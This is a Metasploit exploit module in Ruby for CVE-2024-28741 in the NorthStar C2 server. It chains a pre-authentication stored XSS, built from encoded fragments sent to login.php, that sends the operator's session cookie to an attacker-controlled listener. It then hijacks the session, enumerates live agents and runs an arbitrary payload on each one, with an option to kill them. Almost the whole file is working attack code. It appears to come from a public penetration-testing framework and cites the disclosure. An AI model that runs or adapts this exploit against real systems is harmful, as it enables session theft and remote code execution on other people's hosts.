## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'NorthStar C2 XSS to Agent RCE', 'Description' => %q{ NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is vulnerable to a stored xss. An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent. Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on Ubuntu 22.04. The agent was running on Windows 10 19045. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'chebuya' # original PoC, analysis ], 'DefaultOptions' => { 'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads }, 'References' => [ [ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ], [ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ], [ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'], [ 'CVE', '2024-28741'] ], 'Platform' => ['win'], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2024-03-12', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']), OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false]) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'getin.php'), 'method' => 'GET' ) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>' CheckCode::Safe('NorthStar C2 Login page not detected') end def steal_agents(cookie) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'clients.php'), 'headers' => { 'cookie' => "PHPSESSID=#{cookie}" } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? soup = Nokogiri::HTML(res.body) rows = soup.css('tr') agent_table = Rex::Text::Table.new( 'Header' => 'Live Agents', 'Indent' => 1, 'Columns' => [ 'ID', 'IP', 'OS', 'Username', 'Hostname', 'Status' ] ) rows.each do |row| cells = row.css('td') next if cells.length != 9 status = cells[7].text.strip next if status != 'Online' agent_id = cells[1].text.strip agent_ip = cells[2].text.strip hostname = cells[5].text.strip agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip] report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}") end fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty? print_good(agent_table.to_s) script_tags = soup.css('script') csrf_token = nil script_tags.each do |script_tag| if script_tag.text.include?('csrfToken') csrf_token = script_tag.text.split('"')[1] break end end fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token vprint_good("CSRF Token: #{csrf_token}") agent_table.rows.each do |agent| agent_id = agent[0] hostname = agent[4] print_status("(#{agent_id}) Stealing #{hostname}") vprint_status(" (#{agent_id}) Enabling shell mode") agent_exec(agent_id, csrf_token, cookie, 'enablecmd') vprint_status(" (#{agent_id}) Running payload") agent_exec(agent_id, csrf_token, cookie, payload.encoded) vprint_status(" (#{agent_id}) Disabling shell mode") agent_exec(agent_id, csrf_token, cookie, 'disablecmd') next unless datastore['KILL'] vprint_status(" (#{agent_id}) Killing NorthStar payload") agent_exec(agent_id, csrf_token, cookie, 'die') end end def agent_exec(agent_id, csrf_token, cookie, command) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'), 'method' => 'POST', 'headers' => { 'cookie' => "PHPSESSID=#{cookie}" }, 'vars_post' => { 'slave' => agent_id, 'command' => command, 'sid' => agent_id, 'token' => csrf_token } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? # 1min seems enough, NorthStar mentions 4_000ms response times... (2 * 60).times do res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'getresponse.php'), 'headers' => { 'cookie' => "PHPSESSID=#{cookie}" }, 'vars_get' => { 'slave' => agent_id } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if !res.body.empty? || command == 'die' vprint_good(" Command sent successfully to agent #{agent_id}, response: #{res.body}") return end Rex.sleep(0.5) end end def on_request_uri(cli, request) if request.method == 'GET' && @xss_response_received == false vprint_status('Received GET request.') return unless request.uri.include? '=' cookie = request.uri.split('PHPSESSID=')[1] print_good("Received cookie: #{cookie}") send_response_html(cli, '') @xss_response_received = true steal_agents(cookie) end send_response_html(cli, '') end def xor_strings(text, key) text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join end def srvhost datastore['SRVHOST'] end def primer @xss_response_received = false vprint_status('Sending XSS') # divide up the host length so that it fits in our payload h1 = srvhost[0...srvhost.length / 2] h2 = srvhost[srvhost.length / 2..] sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*'] sid_payloads.each do |pload| pload = "N#{pload}q" vprint_status("Sending: #{pload}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.php'), 'method' => 'POST', 'vars_get' => { 'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar')) } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200 end print_status('Waiting on XSS execution') end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT'] super end end